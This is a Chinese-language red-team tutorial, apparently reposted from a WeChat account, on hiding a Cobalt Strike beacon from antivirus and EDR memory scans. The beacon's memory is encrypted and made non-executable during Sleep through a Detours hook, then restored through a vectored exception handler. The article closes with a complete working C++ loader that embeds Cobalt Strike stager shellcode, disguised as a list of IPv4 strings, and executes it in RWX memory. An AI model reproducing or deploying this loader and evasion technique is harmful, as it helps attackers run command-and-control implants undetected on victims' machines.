本期作者/gardenia
概述
在目前的红蓝对抗中会经常遇到一种情况,在C2开始时正常运行,经过一段时间后会自动的掉线。这种情况一般是基于内存扫描特征。目前已知的为卡巴斯基,ESET,EDR设备等。由于CS(Cobalt Strike)的特殊性,导致各个厂家对于他的特征检测较为的严格,在没有源码的情况下对于他的改造是有限的。自带的sleep_mask现在也被特征的有些厉害,所以这里我们以目前比较常见的hook WindowsAPI的Sleep函数以及VEH异常处理来达到目的。
原理
这里为一个exe加载CS ShellCode的简单流程,在我们生成ShellCode分为stager和stageless两种,从上图可知最后都会加载beacon.dll这个程序,原始生成出来的shellCode我们很容易处理加密解密,但是ShellCode执行时加载的beacon的ShellCode我们就是很好处理了。所以我们需要通过CS的一个关键特性Sleep来达到加密或者设置睡眠读写属性。
为什么可以睡眠读写?
假设我们现在上线CS后,默认设置了10秒的睡眠,那么这10秒内我们的代码将会被Sleep函数阻塞,在10秒后将执行命令再次进入睡眠。在一般的内存扫描中,这些内存扫描都是不定时对进程内存进行扫描,而且一般不会对所有内存进行扫描而是对RWX/RX属性的内存进行扫描,为什么这样说或者猜测呢?这是因为在程序中内存会存在很多,如果对所有内存进行扫描会要更久的时间,所以只针对危害较高的有执行属性的内存进行扫描。
这里为一个简单的执行流程,在CS上线后我们HOOK Slee函数来对beaconShellCode进行设置RW权限和加密。然后在Sleep后我们执行到beaconShellCode时对异常进行捕获,捕获到异常后进行重置权限并且进行解密执行。一直轮询这个流程对不可控的beaconShellCode进行处理。
步骤
1.简单的创建一个ShellCode
2.加密StagerShellCode
HellShell下载链接:https://github.com/NUL0x4C/HellShell
3.创建项目
创建控制台项目,copy cpp文件中的内容到main.cc中
构造main函数执行此代码
执行上线
4. 添加Hook代码
Hook VirtualAlloc
这里记得设置allocator为VirtualAlloc,如果设置的HeapAlloc这里则Hook HeapAlloc,Hook这里主要是为了获取到beaconShellCode的地址。
运行打印出beaconShellCode地址。
使用processhacker2工具查看内存地址Loader的ShellCode
stager ShellCode
这里已经全部被清理掉了为空,我们不需要处理。
beacon ShellCode
全部为空,这里有一个问题是我们最后执行的ShellCode在那里?
在beacon ShellCode加0x10000的地方,我们可以看看里面的内存并且Free掉看看CS是否会掉线。
Free掉之后会直接掉线并且程序崩溃,我们基本可以确定这是主要的,但是这里并不是真正的beacon的ShellCode,仍是一个主要的检测点,我们目前只针对这里做处理。那么这里我们得到结论目前需要处理的地方时在最后一个VirtualAlloc后得到一个地址+0x10000的地方处理。以及我们初始加载的Loader也需要处理。
Hook Sleep
这里我们通过Sleep先来清理第一段ShellCode。我们来测试下Loader是否已经被清理掉。
这里我们已经清理掉了,并且没有影响到我们程序的正常执行。那么我们就需要考虑需要怎么来清理最后的内存和权限问题。
事件
这里我们创建了一个手动复位的事件,并且将事件默认为非激发态,在Sleep中触发这个事件。
这段代码循环等待事件变为激发态然后改变beaconShell的内存属性以及异或加密,然后再次重置事件状态。再次执行的beaconShellCode的时候就会触发0xC0000005异常,当然我们需要处理这个异常,不然在运行时必然会崩溃的。
下面我们就需要对此异常进行处理。
接管异常
此段代码主要是获取到异常号为0xC0000005并且异常地址在我们ShellCode段中。如果在此段中就说明是我们设置的异常,我们需要将原来的属性进行还原,并且解密。
注册异常,编译执行此段代码。
效果
可以发现当前代码已经加密并且属性是读写,并不是可执行的权限,我们等待睡眠结束看看是否在执行命令或者心跳的时候能否还原出真正的shellCode并且正常运行。
可以正常还原数据并执行。
完整代码
#include <Windows.h>
#include <detours/detours.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#include <iostream>
#include <thread>
const char* IPv4Shell[] = {
"252.72.131.228", "240.232.200.0", "0.0.65.81", "65.80.82.81", "86.72.49.210", "101.72.139.82", "96.72.139.82", "24.72.139.82", "32.72.139.114", "80.72.15.183", "74.74.77.49", "201.72.49.192",
"172.60.97.124", "2.44.32.65", "193.201.13.65", "1.193.226.237", "82.65.81.72", "139.82.32.139", "66.60.72.1", "208.102.129.120", "24.11.2.117", "114.139.128.136", "0.0.0.72", "133.192.116.103",
"72.1.208.80", "139.72.24.68", "139.64.32.73", "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192", "172.65.193.201", "13.65.1.193", "56.224.117.241", "76.3.76.36",
"8.69.57.209", "117.216.88.68", "139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73", "1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89", "65.90.72.131",
"236.32.65.82", "255.224.88.65", "89.90.72.139", "18.233.79.255", "255.255.93.106", "0.73.190.119", "105.110.105.110", "101.116.0.65", "86.73.137.230", "76.137.241.65", "186.76.119.38", "7.255.213.72",
"49.201.72.49", "210.77.49.192", "77.49.201.65", "80.65.80.65", "186.58.86.121", "167.255.213.233", "147.0.0.0", "90.72.137.193", "65.184.187.1", "0.0.77.49", "201.65.81.65", "81.106.3.65",
"81.65.186.87", "137.159.198.255", "213.235.121.91", "72.137.193.72", "49.210.73.137", "216.77.49.201", "82.104.0.50", "192.132.82.82", "65.186.235.85", "46.59.255.213", "72.137.198.72", "131.195.80.106",
"10.95.72.137", "241.186.31.0", "0.0.106.0", "104.128.51.0", "0.73.137.224", "65.185.4.0", "0.0.65.186", "117.70.158.134", "255.213.72.137", "241.72.137.218", "73.199.192.255", "255.255.255.77",
"49.201.82.82", "65.186.45.6", "24.123.255.213", "133.192.15.133", "157.1.0.0", "72.255.207.15", "132.140.1.0", "0.235.179.233", "228.1.0.0", "232.130.255.255", "255.47.77.101", "101.116.105.110",
"103.47.51.50", "50.53.49.56", "49.54.47.0", "216.169.223.169", "110.135.180.5", "220.222.254.35", "58.115.5.118", "115.244.180.70", "104.83.104.200", "103.132.32.152", "170.41.165.2", "205.194.52.113",
"28.56.163.107", "229.187.219.92", "137.34.20.145", "102.253.26.49", "79.38.242.122", "56.4.86.190", "0.65.99.99", "101.112.116.58", "32.42.47.42", "13.10.65.99", "99.101.112.116", "45.76.97.110",
"103.117.97.103", "101.58.32.101", "110.45.85.83", "13.10.67.111", "110.110.101.99", "116.105.111.110", "58.32.99.108", "111.115.101.13", "10.85.115.101", "114.45.65.103", "101.110.116.58", "32.77.111.122",
"105.108.108.97", "47.53.46.48", "32.40.87.105", "110.100.111.119", "115.32.78.84", "32.54.46.49", "41.32.65.112", "112.108.101.87", "101.98.75.105", "116.47.53.56", "55.46.51.56", "32.40.75.72",
"84.77.76.44", "32.108.105.107", "101.32.71.101", "99.107.111.41", "32.67.104.114", "111.109.101.47", "52.49.46.48", "46.50.50.50", "56.46.48.32", "83.97.102.97", "114.105.47.53", "51.55.46.51",
"54.13.10.0", "224.48.58.3", "128.155.43.116", "148.243.123.24", "141.207.49.245", "124.247.180.159", "201.218.25.113", "202.77.76.222", "173.27.153.238", "83.102.206.110", "225.138.52.210", "112.70.71.247",
"203.234.56.98", "219.138.122.232", "185.27.57.106", "2.47.66.167", "58.131.147.0", "6.32.58.24", "125.218.133.230", "135.162.52.196", "246.110.216.94", "97.52.232.43", "252.51.168.85", "44.52.208.198",
"154.40.226.33", "128.12.73.41", "47.87.112.50", "123.15.158.145", "167.102.15.89", "248.86.172.188", "165.181.122.33", "250.74.174.165", "111.214.48.80", "162.219.174.125", "0.65.190.240", "181.162.86.255",
"213.72.49.201", "186.0.0.64", "0.65.184.0", "16.0.0.65", "185.64.0.0", "0.65.186.88", "164.83.229.255", "213.72.147.83", "83.72.137.231", "72.137.241.72", "137.218.65.184", "0.32.0.0",
"73.137.249.65", "186.18.150.137", "226.255.213.72", "131.196.32.133", "192.116.182.102", "139.7.72.1", "195.133.192.117", "215.88.88.88", "72.5.0.0", "0.0.80.195", "232.127.253.255", "255.49.57.50",
"46.49.54.56", "46.52.52.46", "49.50.57.0", "58.222.104.177"
};
#define ElementsNumber 232
#define SizeOfShellcode 928
BOOL DecodeIPv4Fuscation(const char* IPV4[], PVOID LpBaseAddress) {
PCSTR Terminator = NULL;
PVOID LpBaseAddress2 = NULL;
NTSTATUS STATUS;
int i = 0;
for (int j = 0; j < ElementsNumber; j++) {
LpBaseAddress2 = PVOID((ULONG_PTR)LpBaseAddress + i);
STATUS = RtlIpv4StringToAddressA((PCSTR)IPV4[j], FALSE, &Terminator, (in_addr*)LpBaseAddress2);
if (!NT_SUCCESS(STATUS)) {
return FALSE;
}
else {
i = i + 4;
}
}
return TRUE;
}
HANDLE hEvent = nullptr;
LPVOID beaconAddress;
SIZE_T beaconLen;
DWORD beaconProtect;
bool IsFlags = true;
LPVOID shellCodeAddr;
static VOID(WINAPI* OldSleep)(_In_ DWORD dwMilliseconds) = Sleep;
VOID WINAPI NewSleep(_In_ DWORD dwMilliseconds)
{
if (IsFlags)
{
if (!VirtualFree(shellCodeAddr, SizeOfShellcode, MEM_RELEASE))
{
memset(shellCodeAddr, 0, SizeOfShellcode);
}
IsFlags = false;
}
SetEvent(hEvent);
return OldSleep(dwMilliseconds);
}
static LPVOID(WINAPI* OldVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect)
{
beaconLen = dwSize;
beaconAddress = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
//// 调试打印
std::cout << "分配大小:" << beaconLen << std::endl;
std::cout << "分配地址:" << std::hex << beaconAddress << std::endl;
//return beaconAddress;
return OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
bool IsException(PVOID exceptionAddr)
{
// 判断地址是否在beacon范围内
if ((uint64_t)exceptionAddr >= (uint64_t)beaconAddress + 0x10000 && (uint64_t)exceptionAddr <= ((uint64_t)beaconAddress + beaconLen + 0x10000))
{
return true;
}
return false;
}
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
std::cout << "进入异常函数" << std::endl;
std::cout << "设置读写地址:" << std::hex << (LPVOID)((uint64_t)ExceptionInfo->ExceptionRecord->ExceptionAddress + 0x10000) << std::endl;
// 在此处进行异常处理逻辑
// 内存异常 切是 刚申请的内存,其他不处理
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && IsException((LPVOID)((uint64_t)ExceptionInfo->ExceptionRecord->ExceptionAddress)))
{
BYTE* decryptAddr = (BYTE*)((uint64_t)beaconAddress + 0x10000);
// 恢复 读写执行权限
VirtualProtect(decryptAddr, beaconLen, PAGE_EXECUTE_READWRITE, &beaconProtect);
for (int i = 0; i < beaconLen; i++)
{
decryptAddr[i] ^= 0x10;
}
std::cout << "还原读写执行地址:" << std::hex << (LPVOID)decryptAddr << std::endl;
return EXCEPTION_CONTINUE_EXECUTION;
}
// 返回异常处理结果
return EXCEPTION_CONTINUE_SEARCH; // 或者使用 EXCEPTION_EXECUTE_HANDLER 或 EXCEPTION_CONTINUE_EXECUTION
}
void Hook(PVOID* oldAddress, PVOID newAddress)
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(oldAddress, newAddress);
DetourTransactionCommit();
}
void UnHook(PVOID* oldAddress, PVOID newAddress)
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(oldAddress, newAddress);
DetourTransactionCommit();
}
auto main() -> int
{
// 创建一个等待事件
hEvent = CreateEvent(nullptr, true, false, nullptr);
// 注册异常函数处理
AddVectoredExceptionHandler(1, &ExceptionHandler);
// 循环检测事件状态修改保护属性
CloseHandle(CreateThread(nullptr, 0, [](LPVOID)->DWORD
{
while (true)
{
// 等待事件
WaitForSingleObject(hEvent, INFINITE);
BYTE* encryptionAddr = (BYTE*)((uint64_t)beaconAddress + 0x10000);
// 修改内存属性
VirtualProtect(encryptionAddr, beaconLen, PAGE_READWRITE, &beaconProtect);
for (int i = 0; i < beaconLen; i++)
{
encryptionAddr[i] ^= 0x10;
}
std::cout << "设置读写地址:" << std::hex << (LPVOID)encryptionAddr << std::endl;
// 重置事件
ResetEvent(hEvent);
}
return 0;
}, nullptr, 0, nullptr));
// 解密执行ShellCode
shellCodeAddr = VirtualAlloc(nullptr, SizeOfShellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
std::cout << "shellCodeAddr分配地址:" << std::hex << shellCodeAddr << std::endl;
// Hook Sleep & VirtualAlloc
Hook(&(PVOID&)OldSleep, NewSleep);
Hook(&(PVOID&)OldVirtualAlloc, NewVirtualAlloc);
if (DecodeIPv4Fuscation(IPv4Shell, shellCodeAddr))
{
using funcT = void(*)();
funcT func = (funcT)shellCodeAddr;
func();
}
// UnHook Sleep & VirtualAlloc
// UnHook(&(PVOID&)OldSleep, NewVirtualAlloc);
// UnHook(&(PVOID&)OldVirtualAlloc, NewVirtualAlloc);
return 0;
}
总结
此方法相对于比较简单,主要是在没有源码的情况下对CS进行加密修改,也可以直接在beacon.dll中进行修改。这种方式用于绕过相对于简单点的内存检测,在遇到相对较强的检测时需要针对情况进行分析,这里其实我们可以遍历出所有内存都进行加密,根据需要来即可方法不一。以上的每一个步骤当有详细的介绍,当然思路也和上面大致相同,按照思路来不是很难理解整个过程。
原文始发于微信公众号(蛇矛实验室):基于veh+sleep免杀CS